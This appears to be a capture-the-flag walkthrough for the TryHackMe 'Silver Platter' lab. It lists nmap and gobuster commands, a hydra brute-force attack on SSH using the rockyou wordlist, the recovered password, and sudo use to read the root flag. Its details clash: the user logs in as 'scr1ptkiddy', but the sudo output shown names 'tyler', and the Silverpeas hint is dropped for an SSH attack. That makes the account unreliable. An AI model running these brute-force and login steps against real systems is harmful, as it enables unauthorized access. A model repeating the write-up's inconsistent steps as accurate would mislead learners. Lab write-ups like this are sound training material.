🧠 TryHackMe - Silver Platter

📍 Enumeration

🔍 Nmap Scan

```
nmap -sC -sV -oN nmap.txt 10.10.23.87
```

Findings:

- Port 22: SSH
- Port 80: HTTP

🌐 Web Recon

Visiting `http://10.10.23.87` shows a static site using **HTML5 UP - Dimension** template.

Run Gobuster:

```
gobuster dir -u <http://10.10.23.87> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -t 50
```

Interesting File:

- `/message.txt`

```
If you'd like to get in touch with us, please reach out to our project manager on Silverpeas. His username is "scr1ptkiddy".
```

🧪 Gaining Access

Now that we have a username (`scr1ptkiddy`), let's brute-force SSH login using `rockyou.txt`.

🔐 Hydra SSH Attack

```
hydra -l scr1ptkiddy -P /usr/share/wordlists/rockyou.txt ssh://10.10.23.87
```

Credentials Found:

- `Username:` scr1ptkiddy
- `Password:` `password1` (from rockyou)

📂 Post-Login Enumeration

🐚 SSH in:

```
ssh scr1ptkiddy@10.10.23.87
```

Check the home directory:

```
cat user.txt
```

🚀 Privilege Escalation

Check sudo rights:

```
sudo -l
```

Output:

```
User tyler may run the following commands on silver-platter:
(ALL : ALL) ALL
```

This means full **sudo access**!

🔓 Get Root Flag:

```
sudo cat /root/root.txt
```